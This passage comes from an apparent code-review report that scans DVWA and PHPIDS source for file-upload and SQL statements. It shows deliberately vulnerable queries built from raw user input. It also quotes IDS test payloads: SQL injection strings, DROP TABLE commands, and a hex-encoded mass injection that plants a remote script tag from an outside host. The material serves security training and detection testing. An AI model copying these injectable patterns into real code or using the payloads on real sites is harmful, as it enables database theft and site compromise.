'.') + 1); 8: $uploaded_size = <span class='match_highlight'>$_FILES</span>['uploaded']['size']; 9- 10- if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ 11- 12- 13: if(!move_uploaded_file(<span class='match_highlight'>$_FILES</span>['uploaded']['tmp_name'], $target_path)) { 14- 15- $html .= '<pre>'; 16- $html .= 'Your image was not uploaded.';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/medium.php</span>:<span class='line_number'>5</span> <span class='match_count'>(3/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- if (isset($_POST['Upload'])) { 3- 4- $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 5: $target_path = $target_path . basename(<span class='match_highlight'>$_FILES</span>['uploaded']['name']); 6: $uploaded_name = <span class='match_highlight'>$_FILES</span>['uploaded']['name']; 7: $uploaded_type = <span class='match_highlight'>$_FILES</span>['uploaded']['type']; 8: $uploaded_size = <span class='match_highlight'>$_FILES</span>['uploaded']['size']; 9- 10- if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ 11- 12- 13: if(!move_uploaded_file(<span class='match_highlight'>$_FILES</span>['uploaded']['tmp_name'], $target_path)) { 14- 15- $html .= '<pre>'; 16- $html .= 'Your image was not uploaded.';</code></pre> </div> </div> </div> </div> <div class='signature_63225f19fccb18e7c709f1fa11bc738e signature_group_sql signature_group'> <a name='s-63225f19fccb18e7c709f1fa11bc738e'></a> <h3> <code>SELECT</code> <span class='signature_count'>(22)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","63225f19fccb18e7c709f1fa11bc738e")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>23</span> <span class='match_count'>(1/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>21- $pass = md5( $pass ); 22- 23: $qry = "<span class='match_highlight'>SELECT</span> * FROM `users` WHERE user='$user' AND password='$pass';"; 24- 25- $result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 26-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/high.php</span>:<span class='line_number'>16</span> <span class='match_count'>(2/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- $pass_curr = md5( $pass_curr ); 14- 15- // Check that the current password is correct 16: $qry = "<span class='match_highlight'>SELECT</span> password FROM `users` WHERE user='admin' AND password='$pass_curr';"; 17- $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/source/low.php</span>:<span class='line_number'>9</span> <span class='match_count'>(3/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- 7- $id = $_GET['id']; 8- 9: $getid = "<span class='match_highlight'>SELECT</span> first_name, last_name FROM users WHERE user_id = '$id'"; 10- $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors 11- 12- $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/source/high.php</span>:<span class='line_number'>13</span> <span class='match_count'>(4/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- 11- if (is_numeric($id)) { 12- 13: $getid = "<span class='match_highlight'>SELECT</span> first_name, last_name FROM users WHERE user_id = '$id'"; 14- $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors 15- 16- $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/source/medium.php</span>:<span class='line_number'>10</span> <span class='match_count'>(5/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- $id = $_GET['id']; 8- $id = mysql_real_escape_string($id); 9- 10: $getid = "<span class='match_highlight'>SELECT</span> first_name, last_name FROM users WHERE user_id = $id"; 11- $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors 12- 13- $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/low.php</span>:<span class='line_number'>10</span> <span class='match_count'>(6/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- $pass = $_GET['password']; 8- $pass = md5($pass); 9- 10: $qry = "<span class='match_highlight'>SELECT</span> * FROM `users` WHERE user='$user' AND password='$pass';"; 11- $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); 12- 13- if( $result && mysql_num_rows( $result ) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/high.php</span>:<span class='line_number'>16</span> <span class='match_count'>(7/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- $pass = mysql_real_escape_string( $pass ); 14- $pass = md5( $pass ); 15- 16: $qry = "<span class='match_highlight'>SELECT</span> * FROM `users` WHERE user='$user' AND password='$pass';"; 17- $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- if( $result && mysql_num_rows( $result ) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/medium.php</span>:<span class='line_number'>14</span> <span class='match_count'>(8/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- $pass = mysql_real_escape_string( $pass ); 12- $pass = md5( $pass ); 13- 14: $qry = "<span class='match_highlight'>SELECT</span> * FROM `users` WHERE user='$user' AND password='$pass';"; 15- $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); 16- 17- if( $result && mysql_num_rows($result) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/source/low.php</span>:<span class='line_number'>9</span> <span class='match_count'>(9/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- 7- $id = $_GET['id']; 8- 9: $getid = "<span class='match_highlight'>SELECT</span> first_name, last_name FROM users WHERE user_id = '$id'"; 10- $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 11- 12- $num = mysql_numrows($result);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/source/high.php</span>:<span class='line_number'>13</span> <span class='match_count'>(10/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- 11- if (is_numeric($id)){ 12- 13: $getid = "<span class='match_highlight'>SELECT</span> first_name, last_name FROM users WHERE user_id = '$id'"; 14- $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 15- 16- $num = mysql_numrows($result);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/source/medium.php</span>:<span class='line_number'>10</span> <span class='match_count'>(11/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- $id = $_GET['id']; 8- $id = mysql_real_escape_string($id); 9- 10: $getid = "<span class='match_highlight'>SELECT</span> first_name, last_name FROM users WHERE user_id = $id"; 11- 12- $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 13-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>605</span> <span class='match_count'>(12/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>602- $exploits[] = '; DROP table Users --'; 603- $exploits[] = '/**/S/**/E/**/L/**/E/**/C/**/T * FROM users WHERE 1 = 1'; 604- $exploits[] = 'admin\'--'; 605: $exploits[] = '<span class='match_highlight'>SELECT</span> /*!32302 1/0, */ 1 FROM tablename'; 606- $exploits[] = '10;DROP members --'; 607: $exploits[] = ' <span class='match_highlight'>SELECT</span> IF(1=1,\'true\',\'false\')'; 608: $exploits[] = '<span class='match_highlight'>SELECT</span> CHAR(0x66)'; 609: $exploits[] = '<span class='match_highlight'>SELECT</span> LOAD_FILE(0x633A5C626F6F742E696E69)'; 610- $exploits[] = 'EXEC(@stored_proc @param)'; 611- $exploits[] = 'chr(11)||chr(12)||char(13)'; 612: $exploits[] = 'MERGE INTO bonuses B USING (<span class='match_highlight'>SELECT</span>'; 613- $exploits[] = '1 or name like \'%\''; 614- $exploits[] = '1 OR \'1\'!=0'; 615- $exploits[] = '1 OR ASCII(2) = ASCII(2)';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>909</span> <span class='match_count'>(13/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>906- $exploits[] = "asd' union distinct(select null,password,null from users)--a "; 907- $exploits[] = "asd' union distinct ( select null,password,(null)from user )-- a "; 908- $exploits[] = 'DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);'; 909: $exploits[] = "asaa';<span class='match_highlight'>SELECT</span>[asd]FROM[asd]"; 910- $exploits[] = "asd'; select [column] from users "; 911- $exploits[] = "0x31 union select @@version,username,password from users "; 912- $exploits[] = "1 order by if(1<2 ,uname,uid) ";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>151</span> <span class='match_count'>(14/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>148- 149- $handle = $this->handle; 150- 151: $rows = $handle->query('<span class='match_highlight'>SELECT</span> created FROM `' . 152- $handle->quote($this->config['table']).'`'); 153- 154- if (!$rows || $rows->rowCount() === 0) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>186</span> <span class='match_count'>(15/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>183- 184- try{ 185- $handle = $this->handle; 186: $result = $handle->prepare('<span class='match_highlight'>SELECT</span> * FROM ' . 187- $handle->quote($this->config['table']) . 188- ' where type=?'); 189- $result->execute(array($this->type));</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>1219</span> <span class='match_count'>(16/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1216- const IN_TBODY = 7; 1217- const IN_ROW = 8; 1218- const IN_CELL = 9; 1219: const IN_<span class='match_highlight'>SELECT</span> = 10; 1220- const AFTER_BODY = 11; 1221- const IN_FRAME = 12; 1222- const AFTR_FRAME = 13;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>1391</span> <span class='match_count'>(17/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1388- case self::IN_TBODY: return $this->inTableBody($token); break; 1389- case self::IN_ROW: return $this->inRow($token); break; 1390- case self::IN_CELL: return $this->inCell($token); break; 1391: case self::IN_<span class='match_highlight'>SELECT</span>: return $this->inSelect($token); break; 1392- case self::AFTER_BODY: return $this->afterBody($token); break; 1393- case self::IN_FRAME: return $this->inFrameset($token); break; 1394- case self::AFTR_FRAME: return $this->afterFrameset($token); break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>2130</span> <span class='match_count'>(18/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2127- $this->insertElement($token); 2128- 2129- /* Change the insertion mode to "in select". */ 2130: $this->mode = self::IN_<span class='match_highlight'>SELECT</span>; 2131- break; 2132- 2133- /* A start or end tag whose tag name is one of: "caption", "col",</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>3809</span> <span class='match_count'>(19/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3806- /* 4. If node is a select element, then switch the insertion mode to 3807- "in select" and abort these steps. (innerHTML case) */ 3808- if($node->nodeName === 'select') { 3809: $this->mode = self::IN_<span class='match_highlight'>SELECT</span>; 3810- break; 3811- 3812- /* 5. If node is a td or th element, then switch the insertion mode</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>567</span> <span class='match_count'>(20/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>564-// XSS Stored guestbook function -- 565-function dvwaGuestbook(){ 566- 567: $query = "<span class='match_highlight'>SELECT</span> name, comment FROM guestbook"; 568- $result = mysql_query($query); 569- 570- $guestbook = '';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>21</span> <span class='match_count'>(21/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- } 19- 20- function db_login( $user,$pass ) { 21: $login = "<span class='match_highlight'>SELECT</span> * FROM `users` WHERE user='$user' AND password='$pass';"; 22- 23- $result = @mysql_query($login) or die('<pre>' . mysql_error() . '</pre>' ); 24-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>45</span> <span class='match_count'>(22/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- } 43- 44- function db_login( $user,$pass ) { 45: $login = "<span class='match_highlight'>SELECT</span> * FROM users WHERE username='$user' AND password='$pass';"; 46- 47- $result = @pg_query( $login ) or die('<pre>' . pg_last_error() . '</pre>'); 48-</code></pre> </div> </div> </div> </div> <div class='signature_61ee777e7f71dc466c3b2c685d8d313b signature_group_sql signature_group'> <a name='s-61ee777e7f71dc466c3b2c685d8d313b'></a> <h3> <code>INSERT</code> <span class='signature_count'>(9)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","61ee777e7f71dc466c3b2c685d8d313b")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/source/low.php</span>:<span class='line_number'>16</span> <span class='match_count'>(1/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- $name = mysql_real_escape_string($name); 15- 16: $query = "<span class='match_highlight'>INSERT</span> INTO guestbook (comment,name) VALUES ('$message','$name');"; 17- 18- $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 19-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/source/high.php</span>:<span class='line_number'>19</span> <span class='match_count'>(2/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- $name = mysql_real_escape_string($name); 17- $name = htmlspecialchars($name); 18- 19: $query = "<span class='match_highlight'>INSERT</span> INTO guestbook (comment,name) VALUES ('$message','$name');"; 20- 21- $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 22-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/source/medium.php</span>:<span class='line_number'>18</span> <span class='match_count'>(3/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>15- $name = str_replace('<script>', '', $name); 16- $name = mysql_real_escape_string($name); 17- 18: $query = "<span class='match_highlight'>INSERT</span> INTO guestbook (comment,name) VALUES ('$message','$name');"; 19- 20- $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 21-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>251</span> <span class='match_count'>(4/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>248- $handle->query('TRUNCATE ' . 249- $this->config['table'].''); 250- $statement = $handle->prepare(' 251: <span class='match_highlight'>INSERT</span> INTO `' . 252- $this->config['table'].'` ( 253- type, 254- data,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>177</span> <span class='match_count'>(5/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>174- ); 175- 176- $this->statement = $this->handle->prepare(' 177: <span class='match_highlight'>INSERT</span> INTO ' . $this->table . ' ( 178- name, 179- value, 180- page,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>60</span> <span class='match_count'>(6/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>57-$stripPos = strpos( $baseUrl, 'dvwa/setup.php' ); 58-$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/'; 59- 60:$insert = "<span class='match_highlight'>INSERT</span> INTO users VALUES 61- ('1','admin','admin','admin',MD5('password'),'{$baseUrl}admin.jpg'), 62- ('2','Gordon','Brown','gordonb',MD5('abc123'),'{$baseUrl}gordonb.jpg'), 63- ('3','Hack','Me','1337',MD5('charley'),'{$baseUrl}1337.jpg'),</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>92</span> <span class='match_count'>(7/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>89-dvwaMessagePush( "'guestbook' table was created." ); 90- 91-// Insert data into 'guestbook' 92:$insert = "<span class='match_highlight'>INSERT</span> INTO guestbook (comment, name) VALUES('This is a test comment.','admin')"; 93- 94-if( !pg_query( $insert ) ){ 95- dvwaMessagePush( "Data could not be inserted into 'guestbook' table<br />SQL: " . pg_last_error() );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>51</span> <span class='match_count'>(8/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>48-$stripPos = strpos( $baseUrl, 'dvwa/setup.php' ); 49-$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/'; 50- 51:$insert = "<span class='match_highlight'>INSERT</span> INTO users VALUES 52- ('1','admin','admin','admin',MD5('password'),'{$baseUrl}admin.jpg'), 53- ('2','Gordon','Brown','gordonb',MD5('abc123'),'{$baseUrl}gordonb.jpg'), 54- ('3','Hack','Me','1337',MD5('charley'),'{$baseUrl}1337.jpg'),</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>74</span> <span class='match_count'>(9/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>71-dvwaMessagePush( "'guestbook' table was created." ); 72- 73-// Insert data into 'guestbook' 74:$insert = "<span class='match_highlight'>INSERT</span> INTO guestbook VALUES 75-('1','This is a test comment.','test');"; 76- 77-if( !mysql_query( $insert ) ){</code></pre> </div> </div> </div> </div> <div class='signature_15a8022d0ed9cd9c2a2e756822703eb4 signature_group_sql signature_group'> <a name='s-15a8022d0ed9cd9c2a2e756822703eb4'></a> <h3> <code>UPDATE</code> <span class='signature_count'>(4)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","15a8022d0ed9cd9c2a2e756822703eb4")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/low.php</span>:<span class='line_number'>14</span> <span class='match_count'>(1/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- $pass_new = md5($pass_new); 13- 14: $insert="<span class='match_highlight'>UPDATE</span> `users` SET password = '$pass_new' WHERE user = 'admin';"; 15- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 16- 17- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/high.php</span>:<span class='line_number'>23</span> <span class='match_count'>(2/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- $pass_new = mysql_real_escape_string($pass_new); 21- $pass_new = md5($pass_new); 22- 23: $insert="<span class='match_highlight'>UPDATE</span> `users` SET password = '$pass_new' WHERE user = 'admin';"; 24- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 25- 26- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/medium.php</span>:<span class='line_number'>16</span> <span class='match_count'>(3/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- $pass_new = mysql_real_escape_string($pass_new); 14- $pass_new = md5($pass_new); 15- 16: $insert="<span class='match_highlight'>UPDATE</span> `users` SET password = '$pass_new' WHERE user = 'admin';"; 17- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>900</span> <span class='match_count'>(4/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>897- $exploits[] = "aa aa'; DECLARE tablecursor CURSOR FOR select a.name as c,b.name as d,(null)from sysobjects a,syscolumns b 898- where a.id=b.id and a.xtype = ( 'u' ) and current_user = current_user 899- OPEN tablecursor FETCH NEXT FROM tablecursor INTO @a,@b WHILE(@a != null) 900: @query = null+null+null+null+ ' <span class='match_highlight'>UPDATE</span> '+null+@a+null+ ' SET id=null,@b = @payload' 901- BEGIN EXEC sp_executesql @query 902- FETCH NEXT FROM tablecursor INTO @a,@b END 903- CLOSE tablecursor DEALLOCATE tablecursor; 904- and some text, to get pass the centrifuge; and some more text."; 905: $exploits[] = "@query = null+null+null+ ' <span class='match_highlight'>UPDATE</span> '+null+@a+ ' SET[ '+null+@b+ ' ] = @payload'"; 906- $exploits[] = "asd' union distinct(select null,password,null from users)--a "; 907- $exploits[] = "asd' union distinct ( select null,password,(null)from user )-- a "; 908- $exploits[] = 